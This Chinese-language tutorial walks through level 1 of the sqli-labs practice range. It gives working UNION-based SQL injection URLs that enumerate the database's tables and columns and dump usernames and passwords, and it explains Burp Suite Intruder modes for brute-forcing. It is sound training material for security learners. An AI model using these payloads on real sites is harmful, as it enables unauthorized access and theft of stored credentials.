sqlilabs靶场通关详解

文章目录

1、less-1详解

1.1、源码分析

  • 函数作用参考官方文档php手册

  • isset --- 检测变量是否已声明并且其值不为 null

  • fopen --- 打开文件或者 URL

  • fopen中的mode 参数指定了所要求到该流的访问类型

mode 说明
' r ' 只读,将文件指针指向文件头。
' r+ ' 读写,将文件指针指向文件头。
' w ' 写,将文件指针指向文件头并将文件大小截为零。文件不存在则尝试创建。
' w+ ' 读写,否则行为同 'w'。
' a ' 写,文件指向文件末尾,文件不存在则尝试创建。fseek() 没有效果,写入总是追加
' a+ ' 读写,文件指针指向文件末尾,文件不存在则尝试创建。fseek() 只相应读取位置,写入总是追加
  • 查询语句

1.2、测试

相关前置知识点击此处

1.2.1、判断闭合符
  • 源码分析出闭合符为单引号
1.2.2、判断列数
  • 使用order by

  • 出现Unknown column '4' in 'order clause'说明无第四列

1.2.3、判断回显位
  • id=-2的目的时让前半条查询查不到任何记录,UNION SELECT的结果才在页面上显示
  • 接下来就可以使用函数获取信息
sql 复制代码
Less-1/?id=-2'union select 1,database(),user();--+
1.2.4、获取表名、列名、密码

相关前置知识

  • 若开源,直接下载查看即可
  • 若此时闭源,则需要进行查询
sql 复制代码
/Less-1/?id=-2'union select 1,(select table_name from information_schema.tables where table_schema='security'),user();--+
  • 直接使用查询会报错Subquery returns more than 1 row,是因为子查询返回了"多行数据",但把它放在了只能放一个值的位置UNION SELECT 的某一列里,解决方法如下两种:
  1. limit
    • 手动更改
    • 使用bp进行爆破
      在要爆破的字段前add

  • 查看返回值不一致的说明爆破成功
  1. group_concat
    • 将分组中的多个值,连接成一个字符串返回。


    • 对应的username和password会形成一个字符串
sql 复制代码
#获取表名
/Less-1/?id=-2'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ) ,user();--+
#获取列名
/Less-1/?id=-2'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ) ,user();--+
#获取用户名和密码
/Less-1/?id=-2'union select 1,(select group_concat(username,password) from users ) ,3;--+

2、BurpSuit使用

2.1、 Sniper(狙击手)

  • 核心逻辑:单组 Payload,多位置,逐个测试。

  • 执行流程:假设有2个位置(如参数A、参数B)和Payload集 1, 2,则顺序为:先在位置A依次尝试1、2(即 A=1、A=2);再在位置B依次尝试1、2(即 B=1、B=2)。

  • 适用场景:适合测试单个位置的多种值,或多个位置但每个位置需独立测试的情况(如分别测试用户名、密码的单个值)。

2.2、 Battering ram(攻城锤)

  • 核心逻辑:单组 Payload,多位置,同步填充

  • 执行流程:假设有2个位置(参数A、参数B)和Payload集 1, 2,则顺序为:先将1同时填入A和B(即 A=1 且 B=1);再将2同时填入A和B(即 A=2 且 B=2)。

  • 适用场景:适合多个位置需使用相同Payload的情况(如测试多个参数都用同一个用户名)。

2.3、 Pitchfork(草叉)

  • 核心逻辑:多组 Payload,每个位置对应不同的Payload集,同时迭代所有Payload集(取每个集的"对应位置"payload)。

  • 执行流程:假设位置A的Payload集是 1, 2,位置B的Payload集是 a, b,则顺序为:取每个集的第1个A=1 且 B=a);取每个集的第2个(A=2 且 B=b)。

  • 适用场景:适合多个位置需对应不同但索引一致的Payload(如用户名列表和密码列表,用户名第1个对应密码第1个)。

2.4、 Cluster bomb(集束炸弹)

  • 核心逻辑:多组 Payload,全排列组合。

  • 执行流程:假设位置A的Payload集是 1, 2,位置B的Payload集是 a, b,则顺序为:A=1 且 B=a;A=1 且 B=b;A=2 且 B=a;A=2 且 B=b。

  • 适用场景:适合需要 exhaustive 测试所有组合的情况(如用户名和密码的所有可能组合,组合数量=Paylaod集数量的乘积)。

相关推荐
云祺vinchin7 分钟前
《“医保影像云”基础规范》核心解读
安全·数据安全·容灾备份·国产化替代·医保影像云
Multipath71216 分钟前
多链路聚合 + 宽带自组网 + 卫星便携站,构筑应急通信“铁三角”乾元通多链路聚合路由破局“三断”绝境,重构应急通信生命线
网络·5g·安全·智能路由器·实时音视频
nVisual18 分钟前
机柜PDU安装位置与空间建模方案
大数据·网络·数据库·信息可视化·数据中心基础设施管理
weixin_66818 分钟前
Cursor-superpowers插件用法
数据库·人工智能
NWU_白杨24 分钟前
三种常用的数据存储技术
数据库·redis·mysql·sqlite
吃饱了得干活39 分钟前
亿级订单表分库分表设计,从0到1全流程
java·数据库·面试
中北marry1 小时前
玄机靶场wp 应急响应-webshell查杀
网络安全
蓝创工坊Blue Foundry1 小时前
图片文字提取到 Excel:批量任务如何先定义要交付的字段
运维·服务器·开发语言·数据库·自动化·ocr·excel
一嘴一个橘子1 小时前
MySqL 的 B+树、 叶子节点、非叶子节点
mysql
麦聪聊数据1 小时前
企业数据市场建设(三):API 化服务封装,让数据开箱即用、避免重复开发
数据库